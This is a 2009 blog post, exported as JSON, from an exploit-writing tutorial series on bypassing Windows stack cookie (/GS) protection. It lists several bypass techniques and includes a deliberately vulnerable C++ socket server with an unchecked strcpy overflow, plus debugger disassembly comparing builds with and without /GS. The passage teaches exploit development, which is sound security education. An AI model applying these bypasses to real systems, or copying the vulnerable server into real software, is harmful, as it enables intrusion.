{"id":2266,"date":"2009-09-21T23:45:42","date_gmt":"2009-09-21T21:45:42","guid":{"rendered":"http:\/\/www.corelan.be:8800\/?p=2266"},"modified":"2009-09-21T23:45:42","modified_gmt":"2009-09-21T21:45:42","slug":"exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr","status":"publish","type":"post","link":"https:\/\/www.corelan.be\/index.php\/2009\/09\/21\/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr\/","title":{"rendered":"Exploit writing tutorial part 6 : Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR"},"content":{"rendered":"<h3>Introduction<\/h3>\n<p>In all previous tutorials in this Exploit writing tutorial series, we have looked at building exploits that would work on Windows XP \/ 2003 server.<\/p>\n<p>The success of all of these exploits (whether they are based on direct ret overwrite or exception handler structure overwrites) are based on the fact that a reliable return address or pop\/pop\/ret address must be found, making the application jump to your shellcode. In all of these cases, we were able to find a more or less reliable address in one of the OS dll\u2019s or application dll\u2019s. Even after a reboot, this address stays the same, making the exploit work reliably.<\/p>\n<p>Fortunately for the zillions Windows end-users out there, a number of protection mechanisms have been built-in into the Windows Operating systems.<\/p>\n<p>- Stack cookies (\/GS Switch cookie)<\/p>\n<p>- Safeseh (\/Safeseh compiler switch)<\/p>\n<p>- Data Execution Prevention (DEP) (software and hardware based)<\/p>\n<p>- Address Space Layout Randomization (ASLR)<\/p>\n<h3>Stack cookie \/GS protection<\/h3>\n<p>The <a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/8dbf701c(VS.80).aspx\" target=\"_blank\" rel=\"noopener\">\/GS switch<\/a> is a compiler option that will add some code to function\u2019s prologue and epilogue code in order to prevent successful abuse of typical stack based (string buffer) overflows.<\/p>\n<p>When an application starts, a program-wide master cookie (4 bytes (dword), unsigned int) is calculated (pseudo-random number) and saved in the .data section of the loaded module. In the function prologue, this program-wide master cookie is copied to the stack, right before the saved EBP and EIP. (between the local variables and the return addresses)<\/p>\n<pre>[buffer][cookie][saved EBP][saved EIP]<\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>During the epilogue, this cookie is compared again with the program-wide master cookie. If it is different, it concludes that corruption has occurred, and the program is terminated.<\/p>\n<p>In order to minimize the performance impact of the extra lines of code, the compiler will only add the stack cookie if the function contains string buffers or allocates memory on the stack using _alloca. Furthermore, the protection is only active when the buffer contains 5 bytes or more.<\/p>\n<p>In a typical buffer overflow, the stack is attacked with your own data in an attempt to overwrite the saved EIP. But before your data overwrites the saved EIP, the cookie is overwritten as well, rendering the exploit useless (but it may still lead to a DoS). The function epilogue would notice that the cookie has been changed, and the application dies.<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">[buffer][cookie][saved EBP][saved EIP]\n[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]\n         ^\n         |<\/pre>\n<p>The second important protection mechanism of \/GS is variable reordering. In order to prevent attackers from overwriting local variables or arguments used by the function, the compiler will rearrange the layout of the stack frame, and will put string buffers at a higher address than all other variables. So when a string buffer overflow occurs, it cannot overwrite any other local variables.<\/p>\n<p>The stack cookie is often referred to as \u201ccanary\u201d as well. Read more at <a title=\"http:\/\/en.wikipedia.org\/wiki\/Buffer_overflow_protection\" href=\"http:\/\/en.wikipedia.org\/wiki\/Buffer_overflow_protection\">http:\/\/en.wikipedia.org\/wiki\/Buffer_overflow_protection<\/a>, at <a title=\"http:\/\/blogs.technet.com\/srd\/archive\/2009\/03\/16\/gs-cookie-protection-effectiveness-and-limitations.aspx\" href=\"https:\/\/web.archive.org\/web\/20090323230501\/http:\/\/blogs.technet.com:80\/srd\/archive\/2009\/03\/16\/gs-cookie-protection-effectiveness-and-limitations.aspx\">http:\/\/blogs.technet.com\/srd\/archive\/2009\/03\/16\/gs-cookie-protection-effectiveness-and-limitations.aspx<\/a> and at <a title=\"http:\/\/msdn.microsoft.com\/en-us\/library\/aa290051(VS.71).aspx\" href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/aa290051(VS.71).aspx\">http:\/\/msdn.microsoft.com\/en-us\/library\/aa290051(VS.71).aspx<\/a><\/p>\n<h3>Stack cookie \/GS bypass methods<\/h3>\n<p>The easiest way to overcome the stack based overflow protection mechanisms, requires you to retrieve\/guess\/calculate the value of the cookie (so you can overwrite the cookie with the same value in your buffer). This cookie sometimes (very rarely) is a static value\u2026 but even if it is, it may contain bad characters and you may not be able to use that value.<\/p>\n<p>David Litchfield has written a paper back in 2003 on how stack protection can be bypassed using some other techniques, that don\u2019t require the cookie to be guessed. (and more excellent work in this area has been done by Alex Soritov and Mark Dowd, and by Matt Miller.)<\/p>\n<p>Anyways, David described that, if the overwritten cookie does not match with the original cookie, the code checks to see if there is a developer defined exception handler. (If not, the OS exception handler will kick in). If the hacker can overwrite an Exception Handler registration structure (next SEH + Pointer to SE Handler), AND trigger an exception before the cookie is checked, the stack based overflow could be executed (= SEH based exploit) despite the stack cookie.<\/p>\n<p>After all, one of the most important limitations of GS is that it does not protect exception handler records. At that point, the application would need to rely solely on SEH protection mechanisms (such as SafeSEH etc) to deal with these scenario\u2019s. As explained in tutorial part 3, there are ways to overcome this safeseh issue.<\/p>\n<p>In 2003 server (and later XP\/Vista\/7\/\u2026 versions) the structured exception has been modified, making it harder to exploit this scenario in more current versions of the OS. Exception handlers are now registered in the Load Configuration Directory, and before an Exception Handler is executed, its address is checked against the list of registered handlers. We\u2019ll talk about how to bypass this later on in this article.<\/p>\n<h4>Bypass using Exception Handling<\/h4>\n<p>So, we can defeat stack protection by triggering an exception before the cookie is checked during the epilogue (or we can try to overwrite other data (parameters that are pushed onto the stack to the vulnerable function), which is referenced before the cookie check is performed.), and then deal with possible SEH protection mechanisms, if any\u2026 Of course, this second technique only works if the code is written to actually reference this data. You can try to abuse this by writing beyond the end of the stack.<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; height: 63px; border-right: #cecece 1px solid; width: 702px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">[buffer][cookie][EH record][saved ebp][saved eip][arguments ]\n\noverwrite - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - &gt;<\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>The key in this scenario is that you need to overwrite far enough, and that there is an application specific exception registered (which gets overwritten). If you can control the exception handler address (in the Exception_Registration structure), then you can try to overwrite the pointer with an address that sits outside the address range of a loaded module (but should be available in memory anyways, such as loaded modules that belong to the OS etc). Most of the modules in newer versions of the Windows OS have all been compiled with \/safeseh, so this is not going to work anymore. But you can still try to find a handler in a dll that is linked without safeseh (as explained in part 3 of this tutorial series). After all, SEH records on the stack are not protected by GS\u2026 you only have to bypass SafeSEH.<\/p>\n<p>As explained in part 3 of this exploit writing tutorial, this pointer needs to be overwritten with a pop pop ret instruction (so the code would land at nseh, where you can do a short jump to go to your shellcode). Alternatively (or if you cannot find a pop pop ret instruction that does not sit in the address range of a loaded module belonging to the application) you can look at ESP\/EBP, find the offset from these registers to the location of nseh, and look for addresses that would do<\/p>\n<p>- call dword ptr [esp+nn]<\/p>\n<p>- call dword ptr [ebp+nn]<\/p>\n<p>- jmp dword ptr [esp+nn]<\/p>\n<p>- jmp dword ptr[ebp+nn]<\/p>\n<p>Where nn is the offset from the register to the location of nseh. It\u2019s probably easier to look for a pop pop ret combination, but it should work as well. the pvefindaddr Immdbg plugin may help you finding such instructions. (!pvefindaddr jseh&#160; or&#160; !pvefindaddr jseh all).&#160; Furthermore, you can also use pointers to the \u201cadd esp,8 + ret\u201d instructions. Again, !pvefindaddr jseh (or !pvefindaddr jseh all) will help you with this (feature added in v1.17 of pvefindaddr)<\/p>\n<h4>Bypass by replacing cookie on stack and in .data section<\/h4>\n<p>Another technique to bypass stack cookie protection is by replacing this authoritative cookie value in the .data section of the module (which is writeable, otherwise the applicaiton would not be able to calculate a new cookie and store it at runtime), and replace the cookie in the stack with the same value. This technique is only possible if you have the ability to write anything at any location. (4 byte artbitrary write) - access violations that state something like the instruction below indicate a possible 4 byte arbitrary write :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; height: 22px; border-right: #cecece 1px solid; width: 662px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">mov dword ptr[reg1], reg2<\/pre>\n<p><em>(In order to make this work, you obviously need to be able to control the contents of reg1 and reg2)<\/em>. reg1 should then contain the memory location where you want to write, and reg2 should contain the value you want to write at that address.<\/p>\n<h4>Bypass because not all buffers are protected<\/h4>\n<p>Another exploit opportunity arises when the vulnerable code does not contains string buffers (because there will not be a stack cookie then) This is also valid for arrays of integers or pointers.<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">[buffer][cookie][EH record][saved ebp][saved eip][arguments ]<\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>Example : If the \u201carguments\u201d don\u2019t contain pointers or string buffers, then you may be able to overwrite these arguments and take advantage of the fact that the functions are not GS protected.<\/p>\n<h4>Bypass by overwriting stack data in functions up the stack<\/h4>\n<p>When pointers to objects or structures are passed to functions, and these objects or structures resided on the stack of their callers (parent function), then this could lead to GS cookie bypass. (overwrite object and vtable pointer. If you point this pointer to a fake vtable, you can redirect the virtual function call and execute your evil code)<\/p>\n<h4>Bypass because you can guess\/calculate the cookie<\/h4>\n<p><a title=\"Reducing the Effective Entropy of GS Cookies\" href=\"http:\/\/uninformed.org\/?v=7&amp;a=2&amp;t=sumry\">Reducing the Effective Entropy of GS Cookies<\/a><\/p>\n<h4>Bypass because the cookie is static<\/h4>\n<p>Finally, if the cookie value appears to be the same\/static every time, then you can simply put this value on the stack during the overwrite.<\/p>\n<h3>Stack cookie protection debugging &amp; demonstration<\/h3>\n<p>In order to demonstrate some stack cookie behaviour, we\u2019ll use a simple piece of code found at <a title=\"http:\/\/www.security-forums.com\/viewtopic.php?p=302855#302855\" href=\"http:\/\/www.security-forums.com\/viewtopic.php?p=302855#302855\">http:\/\/www.security-forums.com\/viewtopic.php?p=302855#302855<\/a> (and used in part 4 of this tutorial series)<\/p>\n<p>This code contains vulnerable function pr() which will overflow if more than 500 bytes are passed on to the function.<\/p>\n<p>Open Visual Studio C++ 2008 (Express edition can be downloaded from <a href=\"http:\/\/www.microsoft.com\/express\/download\/default.aspx\">http:\/\/www.microsoft.com\/express\/download\/default.aspx<\/a>) and create a new console application.<\/p>\n<p>I have slightly modified the original code so it would compile under VS2008 :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\"><span style=\"color: #008000\">\/\/ vulnerable server.cpp : Defines the entry point for the console application.<\/span>\n<span style=\"color: #008000\">\/\/<\/span>\n\n#include &quot;<span style=\"color: #8b0000\">stdafx.h<\/span>&quot;\n#include &quot;<span style=\"color: #8b0000\">winsock.h<\/span>&quot;\n#include &quot;<span style=\"color: #8b0000\">windows.h<\/span>&quot;\n\n<span style=\"color: #008000\">\/\/load windows socket<\/span>\n#pragma comment(lib, &quot;<span style=\"color: #8b0000\">wsock32.lib<\/span>&quot;)\n\n<span style=\"color: #008000\">\/\/Define Return Messages<\/span>\n#define SS_ERROR 1\n#define SS_OK 0\n\n<span style=\"color: #0000ff\">void<\/span> pr( <span style=\"color: #0000ff\">char<\/span> *str)\n{\n   <span style=\"color: #0000ff\">char<\/span> buf[500]=&quot;<span style=\"color: #8b0000\"> <\/span>&quot;;\n   strcpy(buf,str);\n}\n<span style=\"color: #0000ff\">void<\/span> sError(<span style=\"color: #0000ff\">char<\/span> *str)\n{\n   printf(&quot;<span style=\"color: #8b0000\">Error %s<\/span>&quot;,str);\n   WSACleanup();\n}\n\n<span style=\"color: #0000ff\">int<\/span> _tmain(<span style=\"color: #0000ff\">int<\/span> argc, _TCHAR* argv[])\n{\nWORD sockVersion;\nWSADATA wsaData;\n\n<span style=\"color: #0000ff\">int<\/span> rVal;\n<span style=\"color: #0000ff\">char<\/span> Message[5000]=&quot;<span style=\"color: #8b0000\"> <\/span>&quot;;\n<span style=\"color: #0000ff\">char<\/span> buf[2000]=&quot;<span style=\"color: #8b0000\"> <\/span>&quot;;\n\nu_short LocalPort;\nLocalPort = 200;\n\n<span style=\"color: #008000\">\/\/wsock32 initialized for usage<\/span>\nsockVersion = MAKEWORD(1,1);\nWSAStartup(sockVersion, &amp;wsaData);\n\n<span style=\"color: #008000\">\/\/create server socket<\/span>\nSOCKET serverSocket = socket(AF_INET, SOCK_STREAM, 0);\n\n<span style=\"color: #0000ff\">if<\/span>(serverSocket == INVALID_SOCKET)\n{\n   sError(&quot;<span style=\"color: #8b0000\">Failed socket()<\/span>&quot;);\n   <span style=\"color: #0000ff\">return<\/span> SS_ERROR;\n}\n\nSOCKADDR_IN sin;\nsin.sin_family = PF_INET;\nsin.sin_port = htons(LocalPort);\nsin.sin_addr.s_addr = INADDR_ANY;\n\n<span style=\"color: #008000\">\/\/bind the socket<\/span>\nrVal = bind(serverSocket, (LPSOCKADDR)&amp;sin, <span style=\"color: #0000ff\">sizeof<\/span>(sin));\n<span style=\"color: #0000ff\">if<\/span>(rVal == SOCKET_ERROR)\n{\n   sError(&quot;<span style=\"color: #8b0000\">Failed bind()<\/span>&quot;);\n   WSACleanup();\n   <span style=\"color: #0000ff\">return<\/span> SS_ERROR;\n}\n\n<span style=\"color: #008000\">\/\/get socket to listen<\/span>\nrVal = listen(serverSocket, 10);\n<span style=\"color: #0000ff\">if<\/span>(rVal == SOCKET_ERROR)\n{\n   sError(&quot;<span style=\"color: #8b0000\">Failed listen()<\/span>&quot;);\n   WSACleanup();\n   <span style=\"color: #0000ff\">return<\/span> SS_ERROR;\n}\n\n<span style=\"color: #008000\">\/\/wait for a client to connect<\/span>\nSOCKET clientSocket;\nclientSocket = accept(serverSocket, NULL, NULL);\n<span style=\"color: #0000ff\">if<\/span>(clientSocket == INVALID_SOCKET)\n{\n   sError(&quot;<span style=\"color: #8b0000\">Failed accept()<\/span>&quot;);\n   WSACleanup();\n   <span style=\"color: #0000ff\">return<\/span> SS_ERROR;\n}\n\n<span style=\"color: #0000ff\">int<\/span> bytesRecv = SOCKET_ERROR;\n<span style=\"color: #0000ff\">while<\/span>( bytesRecv == SOCKET_ERROR )\n{\n   <span style=\"color: #008000\">\/\/receive the data that is being sent by the client max limit to 5000 bytes.<\/span>\n   bytesRecv = recv( clientSocket, Message, 5000, 0 );\n\n   <span style=\"color: #0000ff\">if<\/span> ( bytesRecv == 0 || bytesRecv == WSAECONNRESET )\n   {\n      printf( &quot;<span style=\"color: #8b0000\">\\nConnection Closed.\\n<\/span>&quot;);\n      <span style=\"color: #0000ff\">break<\/span>;\n   }\n}\n\n<span style=\"color: #008000\">\/\/Pass the data received to the function pr<\/span>\npr(Message);\n\n<span style=\"color: #008000\">\/\/close client socket<\/span>\nclosesocket(clientSocket);\n<span style=\"color: #008000\">\/\/close server socket<\/span>\nclosesocket(serverSocket);\n\nWSACleanup();\n\n<span style=\"color: #0000ff\">return<\/span> SS_OK;\n}<\/pre>\n<p>Edit the vulnerable server properties<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image19.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb19.png\" width=\"266\" height=\"178\" \/><\/a><\/p>\n<p>Go to C\/C++, Code Generation, and set \u201cBuffer Security Check\u201d to No<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image20.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb20.png\" width=\"246\" height=\"121\" \/><\/a><\/p>\n<p>Compile the code (debug mode).<\/p>\n<p>Open the vulnerable server.exe in your favorite debugger and look at the function pr() :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">(8c0.9c8): Break instruction exception - code 80000003 (first chance)\neax=7ffde000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005\neip=7c90120e esp=0039ffcc ebp=0039fff4 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000246\nntdll!DbgBreakPoint:\n7c90120e cc              <span style=\"color: #0000ff\">int<\/span>     3\n0:001&gt; uf pr\n*** WARNING: Unable to verify checksum <span style=\"color: #0000ff\">for<\/span> C:\\Documents <span style=\"color: #0000ff\">and<\/span> Settings\\peter\\My Documents\\Visual Studio 2008\\Projects\\vulnerable server\\Debug\\vulnerable server.exe\nvulnerable_server!pr :\n   17 00411430 55              push    ebp\n   17 00411431 8bec            mov     ebp,esp\n   17 00411433 81ecbc020000    sub     esp,2BCh\n   17 00411439 53              push    ebx\n   17 0041143a 56              push    esi\n   17 0041143b 57              push    edi\n   17 0041143c 8dbd44fdffff    lea     edi,[ebp-2BCh]\n   17 00411442 b9af000000      mov     ecx,0AFh\n   17 00411447 b8cccccccc      mov     eax,0CCCCCCCCh\n   17 0041144c f3ab            rep stos dword ptr es:[edi]\n   18 0041144e a03c574100      mov     al,byte ptr [vulnerable_server!`<span style=\"color: #0000ff\">string<\/span>' (0041573c)]\n   18 00411453 888508feffff    mov     byte ptr [ebp-1F8h],al\n   18 00411459 68f3010000      push    1F3h\n   18 0041145e 6a00            push    0\n   18 00411460 8d8509feffff    lea     eax,[ebp-1F7h]\n   18 00411466 50              push    eax\n   18 00411467 e81bfcffff      call    vulnerable_server!ILT+130(_memset) (00411087)\n   18 0041146c 83c40c          add     esp,0Ch\n   19 0041146f 8b4508          mov     eax,dword ptr [ebp+8]\n   19 00411472 50              push    eax\n   19 00411473 8d8d08feffff    lea     ecx,[ebp-1F8h]\n   19 00411479 51              push    ecx\n   19 0041147a e83ffcffff      call    vulnerable_server!ILT+185(_strcpy) (004110be)\n   19 0041147f 83c408          add     esp,8\n   20 00411482 52              push    edx\n   20 00411483 8bcd            mov     ecx,ebp\n   20 00411485 50              push    eax\n   20 00411486 8d15a8144100    lea     edx,[vulnerable_server!pr+0x78 (004114a8)]\n   20 0041148c e80ffcffff      call    vulnerable_server!ILT+155(_RTC_CheckStackVars (004110a0)\n   20 00411491 58              pop     eax\n   20 00411492 5a              pop     edx\n   20 00411493 5f              pop     edi\n   20 00411494 5e              pop     esi\n   20 00411495 5b              pop     ebx\n   20 00411496 81c4bc020000    add     esp,2BCh\n   20 0041149c 3bec            cmp     ebp,esp\n   20 0041149e e8cffcffff      call    vulnerable_server!ILT+365(__RTC_CheckEsp) (00411172)\n   20 004114a3 8be5            mov     esp,ebp\n   20 004114a5 5d              pop     ebp\n   20 004114a6 c3              ret<\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>As you can see, the function prologue does not contain any references to a security cookie whatsoever.<\/p>\n<p>Now rebuild the executable with the \/GS flag enabled (set Buffer Security Check to \u201cOn\u201d again) and look at the function again :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">(738.828): Break instruction exception - code 80000003 (first chance)\neax=00251eb4 ebx=7ffdc000 ecx=00000002 edx=00000004 esi=00251f48 edi=00251eb4\neip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202\nntdll!DbgBreakPoint:\n7c90120e cc              <span style=\"color: #0000ff\">int<\/span>     3\n0:000&gt; uf pr\n*** WARNING: Unable to verify checksum <span style=\"color: #0000ff\">for<\/span> vulnerable server.exe\nvulnerable_server!pr :\n   17 00411430 55              push    ebp\n   17 00411431 8bec            mov     ebp,esp\n   17 00411433 81ecc0020000    sub     esp,2C0h\n   17 00411439 53              push    ebx\n   17 0041143a 56              push    esi\n   17 0041143b 57              push    edi\n   17 0041143c 8dbd40fdffff    lea     edi,[ebp-2C0h]\n   17 00411442 b9b0000000      mov     ecx,0B0h\n   17 00411447 b8cccccccc      mov     eax,0CCCCCCCCh\n   17 0041144c f3ab            rep stos dword ptr es:[edi]\n<strong><span style=\"color: #ff0000\">   17 0041144e a100704100      mov     eax,dword ptr [vulnerable_server!__security_cookie (00417000)]\n   17 00411453 33c5            <span style=\"color: #0000ff\">xor<\/span>     eax,ebp\n   17 00411455 8945fc          mov     dword ptr [ebp-4],eax<\/span><\/strong>\n   18 00411458 a03c574100      mov     al,byte ptr [vulnerable_server!`<span style=\"color: #0000ff\">string<\/span>' (0041573c)]\n   18 0041145d 888504feffff    mov     byte ptr [ebp-1FCh],al\n   18 00411463 68f3010000      push    1F3h\n   18 00411468 6a00            push    0\n   18 0041146a 8d8505feffff    lea     eax,[ebp-1FBh]\n   18 00411470 50              push    eax\n   18 00411471 e811fcffff      call    vulnerable_server!ILT+130(_memset) (00411087)\n   18 00411476 83c40c          add     esp,0Ch\n   19 00411479 8b4508          mov     eax,dword ptr [ebp+8]\n   19 0041147c 50              push    eax\n   19 0041147d 8d8d04feffff    lea     ecx,[ebp-1FCh]\n   19 00411483 51              push    ecx\n   19 00411484 e835fcffff      call    vulnerable_server!ILT+185(_strcpy) (004110be)\n   19 00411489 83c408          add     esp,8\n   20 0041148c 52              push    edx\n   20 0041148d 8bcd            mov     ecx,ebp\n   20 0041148f 50              push    eax\n   20 00411490 8d15bc144100    lea     edx,[vulnerable_server!pr+0x8c (004114bc)]\n   20 00411496 e805fcffff      call    vulnerable_server!ILT+155(_RTC_CheckStackVars (004110a0)\n   20 0041149b 58              pop     eax\n   20 0041149c 5a              pop     edx\n   20 0041149d 5f              pop     edi\n   20 0041149e 5e              pop     esi\n   20 0041149f 5b              pop     ebx\n   20 004114a0 8b4dfc          mov     ecx,dword ptr [ebp-4]\n<strong><span style=\"color: #ff0000\">   20 004114a3 33cd            <span style=\"color: #0000ff\">xor<\/span>     ecx,ebp\n   20 004114a5 e879fbffff      call    vulnerable_server!ILT+30(__security_check_cookie (00411023)\n<\/span><\/strong>   20 004114aa 81c4c0020000    add     esp,2C0h\n   20 004114b0 3bec            cmp     ebp,esp\n   20 004114b2 e8bbfcffff      call    vulnerable_server!ILT+365(__RTC_CheckEsp) (00411172)\n   20 004114b7 8be5            mov     esp,ebp\n   20 004114b9 5d              pop     ebp\n   20 004114ba c3              ret<\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>In the function prolog, the following things happen :<\/p>\n<p>- sub esp,2c0h : 704 bytes are set aside<\/p>\n<p>- mov eax,dword ptr[vulnerable_server!__security_cookie (00417000)] : a copy of the cookie is fetched<\/p>\n<p>- xor eax,ebp : logical xor of the cookie with EBP<\/p>\n<p>- Then, cookie is stored on the stack, directly below the return address<\/p>\n<p>In the function epilog, this happens :<\/p>\n<p>- mov ecx,dword ptr [ebp-4] : get stack\u2019s copy of the cookie<\/p>\n<p>- xor ecx,ebp : perform the xor again<\/p>\n<p>- call vulnerable_server!ITL+30(__security_check_cookie (00411023) : jump to the routine to verify the cookie<\/p>\n<p>In short : a security cookie is added to the stack and is compared again before the function returns.<\/p>\n<p>When you try to overflow this buffer by sending more than 500 bytes to port 200, the application will die (in the debugger, the application will go to a breakpoint - uninitialized variables are filled with 0xCC at runtime when compiling with VS2008 C++, due to RTC) and esp contains this :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">(a38.444): Break instruction exception - code 80000003 (first chance)\neax=00000001 ebx=0041149b ecx=bb522d78 edx=0012cb9b esi=102ce7b0 edi=00000002\neip=7c90120e esp=0012cbbc ebp=0012da08 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202\nntdll!DbgBreakPoint:\n7c90120e cc              <span style=\"color: #0000ff\">int<\/span>     3\n0:000&gt; d esp\n0012cbbc  06 24 41 00 00 00 00 00-01 5c 41 00 2c da 12 00  .$A......\\A.,...\n0012cbcc  2c da 12 00 00 00 00 00-dc cb 12 00 b0 e7 2c 10  ,.............,.\n0012cbdc  53 00 74 00 61 00 63 00-6b 00 20 00 61 00 72 00  S.t.a.c.k. .a.r.\n0012cbec  6f 00 75 00 6e 00 64 00-20 00 74 00 68 00 65 00  o.u.n.d. .t.h.e.\n0012cbfc  20 00 76 00 61 00 72 00-69 00 61 00 62 00 6c 00   .v.a.r.i.a.b.l.\n0012cc0c  65 00 20 00 27 00 62 00-75 00 66 00 27 00 20 00  e. .'.b.u.f.'. .\n0012cc1c  77 00 61 00 73 00 20 00-63 00 6f 00 72 00 72 00  w.a.s. .c.o.r.r.\n0012cc2c  75 00 70 00 74 00 65 00-64 00 2e 00 00 00 00 00  u.p.t.e.d.......<\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } 